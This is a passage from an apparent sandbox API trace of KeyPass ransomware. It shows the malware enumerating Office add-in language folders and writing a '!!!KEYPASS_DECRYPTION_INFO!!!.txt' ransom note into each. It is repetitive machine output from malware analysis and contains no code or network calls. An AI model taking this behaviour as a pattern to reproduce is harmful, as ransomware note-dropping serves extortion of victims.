FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.240] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.241] FindNextFileW (in: hFindFile=0x2ef94c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.241] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.241] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.241] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.241] GetLastError () returned 0x3f0 [0246.241] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.241] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0246.256] GetFileType (hFile=0x688) returned 0x1 [0246.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.256] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.256] WriteFile (in: hFile=0x688, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.257] WriteFile (in: hFile=0x688, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.257] CloseHandle (hObject=0x688) returned 1 [0246.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef98c8 [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.258] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.258] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.259] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.259] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.259] FindNextFileW (in: hFindFile=0x2ef98c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.259] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.259] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.259] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.259] GetLastError () returned 0x3f0 [0246.259] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.259] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fil\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0246.271] GetFileType (hFile=0x694) returned 0x1 [0246.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.271] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.271] WriteFile (in: hFile=0x694, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.272] WriteFile (in: hFile=0x694, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.273] CloseHandle (hObject=0x694) returned 1 [0246.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9848 [0246.273] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.273] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.273] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.273] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.273] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.273] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.273] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.274] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.274] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.274] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.274] FindNextFileW (in: hFindFile=0x2ef9848, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.274] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.274] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.274] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.274] GetLastError () returned 0x3f0 [0246.274] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.274] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698 [0246.679] GetFileType (hFile=0x698) returned 0x1 [0246.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.679] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.679] WriteFile (in: hFile=0x698, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.680] WriteFile (in: hFile=0x698, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.680] CloseHandle (hObject=0x698) returned 1 [0246.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9788 [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.681] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.681] FindNextFileW (in: hFindFile=0x2ef9788, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.681] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.681] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.681] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.682] GetLastError () returned 0x3f0 [0246.682] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.682] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ga\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0246.770] GetFileType (hFile=0x69c) returned 0x1 [0246.770] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.770] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.770] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.771] WriteFile (in: hFile=0x69c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.771] WriteFile (in: hFile=0x69c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.771] CloseHandle (hObject=0x69c) returned 1 [0246.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9508 [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.772] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.772] FindNextFileW (in: hFindFile=0x2ef9508, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.772] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.772] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.772] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.772] GetLastError () returned 0x3f0 [0246.772] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.772] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 